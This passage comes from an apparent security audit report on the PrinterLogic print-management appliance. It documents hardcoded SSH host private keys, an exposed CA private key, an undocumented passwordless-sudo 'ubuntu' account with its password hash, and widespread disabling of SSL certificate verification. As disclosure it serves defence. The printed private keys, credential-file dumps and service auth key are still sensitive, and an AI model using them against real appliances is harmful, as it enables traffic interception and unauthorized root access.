                    0b:ad:89:9a:23:52:80:09:ee:1c:ad:90:42:bb:28:
                    33:81:d5:32:fb:fc:8a:61:2a:6b:49:76:48:b1:2e:
                    06:58:88:bb:51:8f:37:a3:39:e4:0d:3c:d6:ef:44:
                    e8:3f:4e:d0:40:0d:36:a5:5a:9e:9d:ee:3d:d2:af:
[...]
                    ff:0d:b3:98:75:e3:c1:aa:71:93:76:af:6c:24:0a:
                    8c:99:d1:3d:8f:52:5f:2e:70:37:52:3f:12:cb:98:
                    55:af:bb
                Exponent: 65537 (0x10001)
        X509v3 extensions:
            X509v3 Subject Key Identifier: 
                E7:D5:61:DF:25:55:26:00:96:89:09:0C:B1:E2:8F:35:AD:E7:1B:16
            X509v3 Authority Key Identifier: 
                keyid:E7:D5:61:DF:25:55:26:00:96:89:09:0C:B1:E2:8F:35:AD:E7:1B:16

            X509v3 Basic Constraints: 
                CA:TRUE, pathlen:0
    Signature Algorithm: sha512WithRSAEncryption
         33:d4:53:d0:d5:f0:08:45:b9:c3:3c:90:3c:17:da:af:84:74:
</code></pre>
<p>The same parameters can be found in <code>C:\Program Files (x86)\Printer Properties Pro\Printer Installer Client\defaults.ini</code>:</p>
<p>Content of <code>C:\Program Files (x86)\Printer Properties Pro\Printer Installer Client\defaults.ini</code>:</p>
<pre><code>badge_username=SET
caCertificate=-----BEGIN CERTIFICATE-----
MIIF+DCCA+CgAwIBAgIBADANBgkqhkiG9w0BAQ0FADCBlDELMAkGA1UEBhMCVVMx
DTALBgNVBAgMBFV0YWgxEzARBgNVBAcMClN0LiBHZW9yZ2UxFTATBgNVBAoMDFBy
aW50ZXJMb2dpYzEZMBcGA1UECwwQUHJpbnRlckluc3RhbGxlcjEvMC0GA1UEAwwm
UHJpbnRlckluc3RhbGxlciBDZXJ0aWZpY2F0ZSBBdXRob3JpdHkwHhcNMjEwNjA4
MDEwOTExWhcNNDEwNjAzMDEwOTExWjCBlDELMAkGA1UEBhMCVVMxDTALBgNVBAgM
[...]
cac_subjects=
caPrivateKey=-----BEGIN PRIVATE KEY-----
MIIJQwIBADANBgkqhkiG9w0BAQEFAASCCS0wggkpAgEAAoICAQCs4uTY7wGVIs14
OPZnEx33WwXg3b5aAEEw6uTiwgutiZojUoAJ7hytkEK7KDOB1TL7/IphKmtJdkix
LgZYiLtRjzejOeQNPNbvROg/TtBADTalWp6d7j3Sr8a6yz0lwbMYgdpmu1M9kxAg
c10PX2tbjcnGfP2LQ5eXofHkkyvGtCaEo9RSs0DOLsIrK9Y6yctz+tKhYca0wPjI
qp0IQBfHaCnskmqrWMlUU2PW9b3cIY96qCI1qvlIYBJwm49tC6Wq84BlkNHmZ/Fz
[...]
snmp_3_authentication_key=[redacted]
snmp_3_authentication_protocol=sha
snmp_3_context_engineID=
snmp_3_context_name=mfpdirect
snmp_3_enabled=1
snmp_3_privacy_key=[redacted]
snmp_3_privacy_protocol=aes
snmp_3_security_level=noAuthNoPriv
snmp_3_username=SET
snmp_alerts_default_state=1
snmp_alerts_enabled=1
snmp_attempts=5
</code></pre>
<p>The program PrinterLogic may use this CA to transmit data securely.</p>
<p>It may allow an attacker to intercept data.</p>
<h2>Security assessment done in 2022</h2>
<h2>Identification of the solution</h2>
<p>The audited PrinterLogic version is 20.0.1305.</p>
<p>The audited host version is 1.0.730.</p>
<p>This PrinterLogic version has been retrieved from https://docs.printerlogicva.com/1-Printerlogic/Release_Notes/VA_Latest_Builds.htm (OpenBuild 20.0.1305: January 19, 2022).</p>
<p>The update file can be directly retrieved from https://appliance-cdn.printercloud.com/virtual-appliance-services/releases/20.0.1305/20.0.1305.gpg.</p>
<p>The host version has been retrieved from https://docs.printerlogicva.com/1-Printerlogic/Release_Notes/VA_Latest_Host_Builds.htm (Build 1.0.730: December 30th, 2021).</p>
<p>Checksums of the audited versions:</p>
<pre><code>cc52eed590dc79970df01e7099e36e09a75cf453ebbdabd7dca565341c45ae9e  20.0.1305.gpg
7aac6cfee6d3c16978732215dc5fe63729a5c505afef2d91e99eef9b1eced7a7  printerinstaller-1.0.730.ova
</code></pre>
<p>The update file has been decrypted using the hardcoded GPG key <code>45066ADCF538743121004158DD3BA4C62EA82177.key</code> and the extracted Docker instances have been audited.</p>
<p>The solutions use several Docker instances - all the instances have been made up to date, as shown below:</p>
<p>PrinterLogic VA version</p>
<p><img alt="" src="images/2025-vasion-report-1-local-version.png" /></p>
<p>PrinterLogic SaaS version on [redacted].printerlogic10.com</p>
<p><img alt="" src="images/2025-vasion-report-1-saas-version.png" /></p>
<h2>Structure of the report</h2>
<p>There are 2 versions of PrinterLogic:</p>
<ul>
<li>PrinterLogic Virtual Appliance (<code>VA</code>); and</li>
<li>PrinterLogic SaaS.</li>
</ul>
<p>These 2 versions share the same code base. Consequently, a vulnerability found in one version can be found in the other version with a high confidence.</p>
<p>This report lists the vulnerabilities common to the 2 versions and the vulnerabilities specific to the VA version.</p>
<h2>Vulnerabilities affecting PrinterLogic SaaS / PrinterLogic VA</h2>
<p><a id="va-hardcoded-password-ubuntu"></a></p>
<h2>Details - Hardcoded password for the ubuntu user</h2>
<p>The appliance contains an undocumented user (<code>ubuntu</code>) with a hardcoded password:</p>
<p>Content of <code>/etc/shadow</code>:</p>
<pre>
kali# cat etc/shadow
root:!:18987:0:99999:7:::
daemon:*:18484:0:99999:7:::
bin:*:18484:0:99999:7:::
sys:*:18484:0:99999:7:::
sync:*:18484:0:99999:7:::
games:*:18484:0:99999:7:::
man:*:18484:0:99999:7:::
lp:*:18484:0:99999:7:::
mail:*:18484:0:99999:7:::
news:*:18484:0:99999:7:::
uucp:*:18484:0:99999:7:::
proxy:*:18484:0:99999:7:::
www-data:*:18484:0:99999:7:::
backup:*:18484:0:99999:7:::
list:*:18484:0:99999:7:::
irc:*:18484:0:99999:7:::
gnats:*:18484:0:99999:7:::
nobody:*:18484:0:99999:7:::
systemd-network:*:18484:0:99999:7:::
systemd-resolve:*:18484:0:99999:7:::
syslog:*:18484:0:99999:7:::
messagebus:*:18484:0:99999:7:::
_apt:*:18484:0:99999:7:::
uuidd:*:18987:0:99999:7:::
ntp:*:18987:0:99999:7:::
sshd:*:18987:0:99999:7:::
statd:*:18987:0:99999:7:::
<font color=red>ubuntu:$6$FGlSuvGG$loUn3.OwRauCaM0ZeaV739iM5NF2jCSqCFjslWkPAmnH1VlSiiHmHgar995hkTm3NwbIDkmR4LSZICLsMGcjt.:18989:0:99999:7:::</font>
alpine-www-data:*:18987:0:99999:7:::
printerlogic:*:18989:0:99999:7:::
network:saglzhyIcp5Ng:19012:0:99999:7:::
kali#
</pre>

<p>This account is not documented. Futhermore, it has root privileges with sudo, without the password being requested:</p>
<p>Content of <code>/etc/shadow</code>:</p>
<pre><code>root@printerlogic:/var/www/efs_storage/.updates# cat /etc/sudoers
[...]
#includedir /etc/sudoers.d
ubuntu        ALL=(ALL)       NOPASSWD: ALL
%printerlogic_ssh ALL=(ALL) NOPASSWD: ALL
root@printerlogic:/var/www/efs_storage/.updates#
</code></pre>
<p>An attacker who knows the password of an undocumented user (<code>ubuntu</code>) will get root access to the appliance using the console. Access using SSH seems to be non-working (<code>PasswordAuthentication</code> set to <code>no</code> and <code>AllowGroups</code> set to <code>printerlogic_ssh</code>).</p>
<p><a id="va-hardcoded-ssh-keys"></a></p>
<h2>Details - Hardcoded SSH server keys</h2>
<p>The private SSH keys are not specific for each installation but are hardcoded, allowing an attacker to decrypt SSH traffic to the appliance:</p>
<p>Private SSH keys:</p>
<pre><code>root@printerlogic:/etc/ssh# ls -latr
total 584
-rw-r--r--  1 root root   1580 Mar  4  2019 ssh_config
-rw-r--r--  1 root root 553122 Mar  4  2019 moduli
-rw-r--r--  1 root root    338 Dec 26 08:57 ssh_import_id
-rw-r--r--  1 root root    399 Dec 26 08:57 ssh_host_rsa_key.pub
-rw-------  1 root root   1675 Dec 26 08:57 ssh_host_rsa_key
-rw-r--r--  1 root root    179 Dec 26 08:57 ssh_host_ecdsa_key.pub
-rw-------  1 root root    227 Dec 26 08:57 ssh_host_ecdsa_key
-rw-r--r--  1 root root     99 Dec 26 08:57 ssh_host_ed25519_key.pub
-rw-------  1 root root    411 Dec 26 08:57 ssh_host_ed25519_key
lrwxrwxrwx  1 root root     29 Dec 28 20:02 sshd_config -&gt; /etc/printercloud/sshd_config
drwxr-xr-x  2 root root   4096 Dec 28 20:02 .
drwxr-xr-x 96 root root   4096 Jan 21 07:15 ..
root@printerlogic:/etc/ssh# cat ssh_host_rsa_key
-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEAs6TZ/BACNgh025HbJM2TAIRk3d9O4vyDgOabkUvsbEMVvatu
M6DFewzMtlXqBKSrB+IEwqDspjGVZmgLLuT56Kxx5KGduloQgQla4hptG3MoG1u3
eu4vgfWdwdBtgv8V+6gg1Crp4jjEw4XRgUFR1lkoDpHhqrHAwsjmveogoDCGmW9O
/fcQ7wUqVgq8GAFawtoQS2kWIudUmnH1druX+pdUUkdtKwRHtyAJ9287/1woDUvI
iDTm6l8Pc3yntOcV8wxvL6Jcj3/7I7GLYXO4d+Dg6MeTNkPzb7kURT9D4N/T3GHJ
v9mZR2N2B/kzOM2Rr6khG5SRKwcZSSdaDwZHjQIDAQABAoIBAA4OcCARAJtJvhsQ
Jp2SmFYKBfp2Zq3MJF4JrVKJJk6yURkuOMlBYzJlpf7+aflDCT7sqIKyJNI8Pvxs
V7OrpwJVu/Ov0a+rLG9sU/gtKSxkrla1rn2n9X+twFJSBL+jRg0S8r6nPPW+i2bh
Kat7ePPUthWtxIKetf6HycZCc5sVD0woKenbQ1YPAlDvOqQfblLsj0akK4MiS+6u
K7enOVmCX4mcg3XI9jqbp9Bw90blMGcBSR+AeMunHjxv0+itm6mYVyOGWz+C5Pyh
zRGYuHaTP5apZbbHmCsAlPVF/iazxa0A5EmZMIxpw6aB78VlMkhYAHNcdDXbdrVE
NLnps+ECgYEA5u8cXQ96MOwuqZGwCd0wy1qT8sxDJOw78WF6pv9t2RV0kMS8g0pW
Y8WPx2uJyXJrE4hKfT9rXniENdYxekcUBzLWiCOHMaY07pRsLizypR7WDtbD0JMX
KBXH/g/z3Xvi1bkkC7rfjn0kUNImLs4DiUlp1NP+G/xO06AamHoFQ9cCgYEAxySP
WN6nWVr7oFIOPKVYOdLDaNGlopI8aF2aiBW1iIsXITUUC7W5q9pOPfLldibgvaVF
Ln1s3OgTEVl/FD45FMf/jP6nAq5HOukw6TdpApvzv5qNU5ofqt9Lv0BUaidjae4y
GI2wcyWWmwM5V+uKJhN2X0gkQfJuKN5rtUuY4zsCgYALXvy7jFaM8CRADz9mzPBp
IvWj//DScZtmAFHExVEIXmkV88oAgPmOAh1ZSW9IbwzcslpQnn3P8gk4iWp4ReWz
kQpFO9KdXDzA/qfxAh+Uh9csdeDAdW2veJsXZHuyjTYXJf2jYjk9z+Wo4SAmL9i2
utmuNB4QDLVo8Do/BcsakwKBgQCJvC+pN9ZnZxZCfH58U6AB3lRpWxdEqgA97v/C
v8Ee/5Sv0xZaQwZ4ZjVXg3hRj/JBON3wma+B2sHVbiEGz0KLrQiDbF327LM3e7Ho
m/p1Y4fjLfIxsJfWhzrMvKGmCjgoPCdJ9DXmbkkMTd6LgM28KBnnLO5m7lZizfOR
IQhNoQKBgA6ZqrmgOlITCRazjdUMxBEu1+BXA1OuBsQSKTrX/YZxz7CQxWEyCQjE
FKOvT5DC8VebtzEsrdHuTqs4KRJJOLqJyKMCfjaSHNsUnOaS5zHYp/tosx8t9wSp
dMp80kPaKWB3E0s+hnQXh3STSsKzYyOolrLFXjvKkCrrNwgo2q/t
-----END RSA PRIVATE KEY-----
root@printerlogic:/etc/ssh# cat ssh_host_ecdsa_key
-----BEGIN EC PRIVATE KEY-----
MHcCAQEEIMyVpf/MN5oCJyCpnyVRdxECWvqbMKKCiyYlXBwUTnP6oAoGCCqGSM49
AwEHoUQDQgAEI3uUiNK9u9pWjhL0Sq9TU6w0pyuwHrF5aOybhrPecG73htyEZuD2
uLcF/mYPHRJ93eCVoWKaj6DtxhkGcEVKlQ==
-----END EC PRIVATE KEY-----
root@printerlogic:/etc/ssh# cat ssh_host_ed25519_key
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
QyNTUxOQAAACDl9z93z/gIS+6k/vmGS2Cp/tU8MRN8ual0SAL3s4XQcQAAAJjmh/ND5ofz
QwAAAAtzc2gtZWQyNTUxOQAAACDl9z93z/gIS+6k/vmGS2Cp/tU8MRN8ual0SAL3s4XQcQ
AAAEC1L9xfXxOtAtTJbJv8JygidLOmF3lRX6iuYiUCL18SsuX3P3fP+AhL7qT++YZLYKn+
1TwxE3y5qXRIAvezhdBxAAAAEXJvb3RAcHJpbnRlcmxvZ2ljAQIDBA==
-----END OPENSSH PRIVATE KEY-----
root@printerlogic:/etc/ssh# sha256sum *
9fa9dd312da04fbad130b70c96bf9707b8dc72cbdbb304d69bf58f52f94883b4  moduli
a39fbc57dc2ef8a473f078d1f6a35f725809400df67070b8852e8ed725047df2  ssh_config
750055f1d4ccc3517430e442faa8e19a47f611e53127de4a68c92e898761896b  sshd_config
7544d4035f03765866a1e8f03ff5bc713ecc794c675ce87a925d5a9ff0918905  ssh_host_ecdsa_key
f368c137cdbc3fcc9e573b35510896154a890720e6f9e13087de5c2ac4b10c4e  ssh_host_ecdsa_key.pub
f8d2a063872a82042bb1ec7ed2bb6e77b4bf10d47812461b50c72fbf12093146  ssh_host_ed25519_key
4f3ffad2e07fd9528260bdf58b3d83489d46a94241aa5a728298b7eed0520737  ssh_host_ed25519_key.pub
cca460094f777dfc1be24045b2f6e0b5cb5fed62bf0760f4f20f14a56377074b  ssh_host_rsa_key
fa6050b0f6fe07a3154c9eed9be1242291a02158117a14c09c1d7808aba0888a  ssh_host_rsa_key.pub
70f138f006507c07ced8cfe940ea2e8d2137246f5a270f535b0d7e64d070069b  ssh_import_id
</code></pre>
<p>Any attacker can decrypt the SSH traffic to the appliance.</p>
<p><a id="va-insecure-communications"></a></p>
<h2>Details - Insecure communications to printers and insecure communications to micro-services by disabling all SSL verifications</h2>
<p>When auditing the PHP code, it appears communications to printers are insecure.</p>
<p>By default, there is no verification of SSL certificates, as <code>CURLOPT_SSL_VERIFYHOST</code> and <code>CURLOPT_SSL_VERIFYPEER</code> are set to <code>false</code> in a large part of the code base.</p>
<p>This means that the solution expressively uses insecure connection to printers, allowing Man-In-The-Middle attacks and disabling any communication security.</p>
<p>From the curl documentation:</p>
<ul>
<li><a href="https://curl.se/libcurl/c/CURLOPT_SSL_VERIFYHOST.html">https://curl.se/libcurl/c/CURLOPT_SSL_VERIFYHOST.html</a></li>
</ul>
<blockquote>
<p>When the verify value is 0, the connection succeeds regardless of the names in the certificate. Use that ability with caution!</p>
</blockquote>
<ul>
<li><a href="https://curl.se/libcurl/c/CURLOPT_SSL_VERIFYPEER.html">https://curl.se/libcurl/c/CURLOPT_SSL_VERIFYPEER.html</a></li>
</ul>
<blockquote>
<p>WARNING: disabling verification of the certificate allows bad guys to man-in-the-middle the communication without you knowing it. Disabling verification makes the communication insecure. Just having encryption on a transfer is not enough as you cannot be sure that you are communicating with the correct end-point.</p>
</blockquote>
<p>Extraction of curl options from PHP code.</p>
<p>Curl options set to insecure values:</p>
<pre><code>root@printerlogic:/var/lib/docker/overlay2/b824f2e313d90952d397bc61401bff229c6feea92597b8d37758b959b08d2ffa/merged/var/www# rgrep CURLOPT_SSL_VERIFYHOST .
./app/console_release/samsung/samsung_rest_helper.php:  curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
./app/console_release/fast_release/elatec_tcpconv2.php:        curl_setopt($ch_check, CURLOPT_SSL_VERIFYHOST, false);
./app/console_release/fast_release/elatec_tcpconv2.php:        curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
./app/console_release/fast_release/elatec_tcpconv2.php:            curl_setopt($ch2, CURLOPT_SSL_VERIFYHOST, false);
./app/console_release/km/konicaminolta_soap_helper.php:         //curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 2);
./app/console_release/km/konicaminolta_soap_helper.php:         curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
./app/console_release/km/konicaminolta_soap_helper.php:         curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
./app/console_release/km/konicaminolta_soap_helper.php:         curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); 
./app/console_release/km/konicaminolta_soap_helper.php:         curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
./app/console_release/common/cpa_helper_functions.php:    curl_setopt( $ch, CURLOPT_SSL_VERIFYHOST, false );
./app/console_release/hp/hp_soap_helper.php:            curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
./app/console_release/toshiba/toshiba_soap_helper.php:    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
./app/console_release/toshiba/toshiba_soap_helper.php:    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
./app/console_release/xerox/xerox_soap_helper.php:    curl_setopt( $ch, CURLOPT_SSL_VERIFYHOST, false );
./app/console_release/xerox/xerox_soap_helper.php:    curl_setopt( $ch, CURLOPT_SSL_VERIFYHOST, false );
./app/console_release/xerox/xerox_soap_helper.php:    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
./app/console_release/xerox/xerox_soap_helper.php:    curl_setopt( $ch, CURLOPT_SSL_VERIFYHOST, false );
./app/console_release/xerox/removeApp.php:        curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
./app/console_release/xerox/xerox_auth_soap_server_0.php:    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
./app/console_release/xerox/xerox_auth_soap_server_0.php:        curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
./app/console_release/xerox/installApp.php:    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
./app/lib/common/aws/lib/requestcore/requestcore.class.php:             curl_setopt($curl_handle, CURLOPT_SSL_VERIFYHOST, true);
./app/app/Helpers/HPSoapHelper.php:        curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);                         
./app/app/Helpers/ToshibaSoapHelpers.php:        curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
./app/app/Helpers/ToshibaSoapHelpers.php:        curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
./app/app/Helpers/XeroxSOAPHelper.php:        curl_setopt( $ch, CURLOPT_SSL_VERIFYHOST, false );
./app/app/Helpers/XeroxSOAPHelper.php:        curl_setopt( $ch, CURLOPT_SSL_VERIFYHOST, false );
./app/app/Helpers/XeroxSOAPHelper.php:        curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
./app/app/Helpers/XeroxSOAPHelper.php:        curl_setopt( $ch, CURLOPT_SSL_VERIFYHOST, false );
./app/app/Helpers/XeroxSOAPHelper.php:        curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
./app/app/Console/Commands/XeroxSoapClient.php:        curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
./vendor/guzzlehttp/guzzle/src/Handler/CurlFactory.php:                $conf[CURLOPT_SSL_VERIFYHOST] = 0;
./vendor/guzzlehttp/guzzle/src/Handler/CurlFactory.php:                $conf[CURLOPT_SSL_VERIFYHOST] = 2; 
./vendor/guzzlehttp/guzzle/CHANGELOG.md:* Bug: CURLOPT_SSL_VERIFYHOST is now correctly set to false when setting `$certificateAuthority` to false in
./vendor/guzzlehttp/guzzle/CHANGELOG.md:* CURLOPT_SSL_VERIFYHOST is never set to 1 because it is deprecated (see 5e0ff2ef20f839e19d1eeb298f90ba3598784444)
./vendor/sensiolabs/security-checker/SensioLabs/Security/Crawler/CurlCrawler.php:        curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, 2);

root@printerlogic:/var/lib/docker/overlay2/b824f2e313d90952d397bc61401bff229c6feea92597b8d37758b959b08d2ffa/merged/var/www# rgrep CURLOPT_SSL_VERIFYPEER .
./app/console_release/samsung/samsung_rest_helper.php:  curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
./app/console_release/fast_release/elatec_tcpconv2.php:        curl_setopt($ch_check, CURLOPT_SSL_VERIFYPEER, false);
./app/console_release/fast_release/elatec_tcpconv2.php:        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
./app/console_release/fast_release/elatec_tcpconv2.php:            curl_setopt($ch2, CURLOPT_SSL_VERIFYPEER, false);
./app/console_release/km/konicaminolta_soap_helper.php:         //curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 1);
./app/console_release/km/konicaminolta_soap_helper.php:         curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
./app/console_release/km/konicaminolta_soap_helper.php:         curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
./app/console_release/km/konicaminolta_soap_helper.php:         curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
./app/console_release/km/konicaminolta_soap_helper.php:         curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
./app/console_release/common/cpa_helper_functions.php:    curl_setopt( $ch, CURLOPT_SSL_VERIFYPEER, false );
./app/console_release/hp/hp_soap_helper.php:            curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
./app/console_release/toshiba/toshiba_soap_helper.php:    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
./app/console_release/toshiba/toshiba_soap_helper.php:    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
./app/console_release/xerox/xerox_soap_helper.php:    curl_setopt( $ch, CURLOPT_SSL_VERIFYPEER, false );
./app/console_release/xerox/xerox_soap_helper.php:    curl_setopt( $ch, CURLOPT_SSL_VERIFYPEER, false );
./app/console_release/xerox/xerox_soap_helper.php:    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
./app/console_release/xerox/xerox_soap_helper.php:    curl_setopt( $ch, CURLOPT_SSL_VERIFYPEER, false );
./app/console_release/xerox/removeApp.php:        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
./app/console_release/xerox/xerox_auth_soap_server_0.php:    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
./app/console_release/xerox/xerox_auth_soap_server_0.php:        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
./app/console_release/xerox/installApp.php:    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
./app/lib/common/lightopenid/openid.php:        curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false);
./app/lib/common/aws/lib/requestcore/requestcore.class.php:             curl_setopt($curl_handle, CURLOPT_SSL_VERIFYPEER, false);
./app/app/Helpers/HPSoapHelper.php:        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
./app/app/Helpers/ToshibaSoapHelpers.php:        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
./app/app/Helpers/ToshibaSoapHelpers.php:        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
./app/app/Helpers/XeroxSOAPHelper.php:        curl_setopt( $ch, CURLOPT_SSL_VERIFYPEER, false );
./app/app/Helpers/XeroxSOAPHelper.php:        curl_setopt( $ch, CURLOPT_SSL_VERIFYPEER, false );
./app/app/Helpers/XeroxSOAPHelper.php:        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
./app/app/Helpers/XeroxSOAPHelper.php:        curl_setopt( $ch, CURLOPT_SSL_VERIFYPEER, false );
./app/app/Helpers/XeroxSOAPHelper.php:        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
./app/app/Console/Commands/XeroxSoapClient.php:        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
./vendor/guzzlehttp/guzzle/src/Handler/CurlFactory.php:                $conf[CURLOPT_SSL_VERIFYPEER] = false;
./vendor/guzzlehttp/guzzle/src/Handler/CurlFactory.php:                $conf[CURLOPT_SSL_VERIFYPEER] = true;
./vendor/sensiolabs/security-checker/SensioLabs/Security/Crawler/CurlCrawler.php:        curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, 1);
root@printerlogic:/var/lib/docker/overlay2/b824f2e313d90952d397bc61401bff229c6feea92597b8d37758b959b08d2ffa/merged/var/www#
</code></pre>
<p>A large part of these options are set to false, disabling the security of communications.</p>
<p>The lack of checking validity of SSL certificates seems to be a regular pattern. The variables used for SSL verification are also set to false for micro-services.</p>
<p>Variables used to be sure no verification of SSL certificates is done in Docker images:</p>
<pre><code>kali$ cat ./out-images/10daa560935d018324043b3ae4110cc94d91e24ab756da94634f6106b2f69ec6/var/www/app/.env
...
API_GATEWAY_URL=https://pi
API_GATEWAY_PUBLIC_URL=https://pi.pl-local.com
API_GATEWAY_VERIFYSSL=false

# PrinterInstaller API
API_PRINTERINSTALLER_URL=https://pi
API_PRINTERINSTALLER_VERIFYSSL=false

# Microservice Authorization Key
MS_AUTH_KEY=1001-LOCAL-ENV-KEY-1001

# User Microservice API
API_USER_URL=https://users
API_USER_VERIFYSSL=false

# Platform API
API_PLAT_API_URL=http://plat-api
API_PLAT_API_VERIFYSSL=false

# Quota Management Microservice API
API_QUOTA_URL=https://qm
API_QUOTA_VERIFYSSL=false

# Printer Queue Microservice API
API_PQ_URL=https://pq
API_PQ_VERIFYSSL=false

# Driver Catalog Microservice API
API_DRIVER_CATALOG_URL=https://drivers
API_DRIVER_CATALOG_VERIFYSSL=false

# Okta Microservice API
API_OKTA_URL=https://okta
API_OKTA_VERIFYSSL=false

# Authn Microservice API
API_AUTHN_URL=http://authn
API_AUTHN_VERIFYSSL=false

# External Badge Controller Microservice API
EBC_URL=http://ebc
EBC_VERIFYSSL=false

# Cpp-Ui Microservice API
API_CPP_UI_URL=https://cpp-ui
API_CPP_UI_VERIFYSSL=false
API_CPP_UI_PUBLIC_URL=https://cpp-ui.pl-local.com:12443

# New API Gateway Microservice
API_GW_URL=http://gw
API_GW_PUBLIC_URL=https://gw.pl-local.com:5443
API_GW_VERIFYSSL=false

# Badge Reader Microservice API
API_BR_URL=https://br
API_BR_VERIFYSSL=false

# VA-API Microservice
VA_API_URL=http://va-api
VA_API_VERIFYSSL=false

# SCSS Microservice API
API_SCSS_URL=http://scss
API_SCSS_VERIFYSSL=false

# Identity Microservice API
API_IDENTITY_URL=http://identity
API_IDENTITY_VERIFYSSL=false

# Catalog Microservice API
API_CAT_URL=http://cat
API_CAT_VERIFYSSL=false

# Qms Microservice API
API_QMS_URL=http://qms
API_QMS_VERIFYSSL=false
</code></pre>
<p>Variables used to be sure no verification of SSL certificates is done</p>
<pre><code>kali$ cat ./out-images/f9380ebd8863a503cfb6f1864cfd46dc28611d1e35c7569fc26eb07700c41f63/opt/pc-sys/env/base/app.env
[...]
# SSL verification
API_AUTHN_VERIFYSSL=${API_AUTHN_VERIFYSSL:-false}
API_BR_VERIFYSSL=${API_BR_VERIFYSSL:-false}
API_CAT_VERIFYSSL=${API_CAT_VERIFYSSL:-false}
API_CPP_UI_VERIFYSSL=${API_CPP_UI_VERIFYSSL:-false}
API_GATEWAY_VERIFYSSL=${API_GATEWAY_VERIFYSSL:-false}
API_PRINTERINSTALLER_VERIFYSSL=${API_PRINTERINSTALLER_VERIFYSSL:-false}
API_USER_VERIFYSSL=${API_USER_VERIFYSSL:-false}
[...]
</code></pre>
<p>When looking for <code>ssl</code> and <code>false</code>, more results will appear in PHP source code.</p>
<p>Variables used to be sure no verification of SSL certificates is done:</p>
<pre><code>./www/app/app/Services/IdentityService.php:                    RequestOptions::VERIFY =&gt; boolval(config('api.identity.verify_ssl', false)),
./www/app/app/Services/IdentityService.php:                    RequestOptions::VERIFY =&gt; boolval(config('api.identity.verify_ssl', false)),
./www/app/app/Services/IdentityService.php:                    RequestOptions::VERIFY =&gt; boolval(config('api.identity.verify_ssl', false)),
./www/app/app/Services/IdentityService.php:                    RequestOptions::VERIFY =&gt; boolval(config('api.identity.verify_ssl', false)),
./www/app/app/Services/IdentityService.php:                    RequestOptions::VERIFY =&gt; boolval(config('api.identity.verify_ssl', false)),
./www/app/app/Services/IdentityService.php:                    RequestOptions::VERIFY =&gt; boolval(config('api.identity.verify_ssl', false)),
./www/app/app/Services/IdentityService.php:                    RequestOptions::VERIFY =&gt; boolval(config('api.identity.verify_ssl', false)),
./www/app/app/Services/IdentityService.php:                    RequestOptions::VERIFY =&gt; boolval(config('api.identity.verify_ssl', false)),
./www/app/app/Services/IdentityService.php:                    RequestOptions::VERIFY =&gt; boolval(config('api.identity.verify_ssl', false)),
./www/app/app/Services/IdentityService.php:                    RequestOptions::VERIFY =&gt; boolval(config('api.identity.verify_ssl', false)),
[...]
./www/app/config-laravel/api.php:        'verify_ssl' =&gt; env('API_IDENTITY_VERIFYSSL', false),
./www/app/config-laravel/api.php:        'verify_ssl' =&gt; env('API_CAT_VERIFYSSL', false),
[...]
</code></pre>
<p>By design, the solution is vulnerable to Man-In-The-Middle attacks and does not provide security when communicating with the printers (e.g. releasing jobs). The <code>Secure Printing</code> is insecure by default.</p>
<p>The micro-apis do not check SSL certificates. In any case, these communications are done over clear-text HTTP.</p>
<p><a id="va-clear-text-password"></a></p>
<h2>Details - Password for <code>network</code> stored in clear-text inside <code>/etc/issue</code>, world-readable</h2>
<p>By default, it is possible to retrieve the password of the <code>network</code> user.</p>
<p>The file <code>/etc/issue</code> contains the password in clear-text. Furthermore, this file is world-readable:</p>
<pre><code>root@printerlogic:/etc# ls -la /etc/issue
-rw-r--r-- 1 root root 406 Jan 21 12:25 /etc/issue
root@printerlogic:/etc# cat /etc/issue
   . . . . . . . . . . . . . . . . . . . . . . . . . . . . 
 .
